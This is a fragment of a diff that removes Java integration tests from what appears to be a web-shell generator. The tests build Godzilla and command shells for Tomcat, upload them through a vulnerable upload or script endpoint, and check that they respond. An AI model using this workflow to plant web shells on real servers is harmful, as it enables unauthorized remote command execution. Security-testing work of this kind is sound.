VulTool.uploadJspFileToServer(uploadEntry, filename, content); - VulTool.urlIsOk(shellUrl); - } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) { - String uploadEntry = url + "/js"; - VulTool.postJS(uploadEntry, content); - } - GodzillaShellTool.testIsOk(shellUrl, shellConfig); - } - - public void testCommandAssertOk(String url, String shellType, int targetJdkVersion, Packer.INSTANCE packer) { - String paramName = "Command" + shellType; - CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build(); - String content = CommandShellTool.generate(Server.TOMCAT, config, shellType, targetJdkVersion, packer); - log.info("generated {} command shell with paramName: {}", shellType, config.getParamName()); - String shellUrl = url + "/"; - if (Packer.INSTANCE.JSP.equals(packer)) { - String uploadEntry = url + "/upload"; - String filename = shellType + "Command.jsp"; - shellUrl = url + "/" + filename; - VulTool.uploadJspFileToServer(uploadEntry, filename, content); - VulTool.urlIsOk(shellUrl); - } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) { - String uploadEntry = url + "/js"; - VulTool.postJS(uploadEntry, content); - } - CommandShellTool.testIsOk(shellUrl, config); - } -} \ No newline at end of file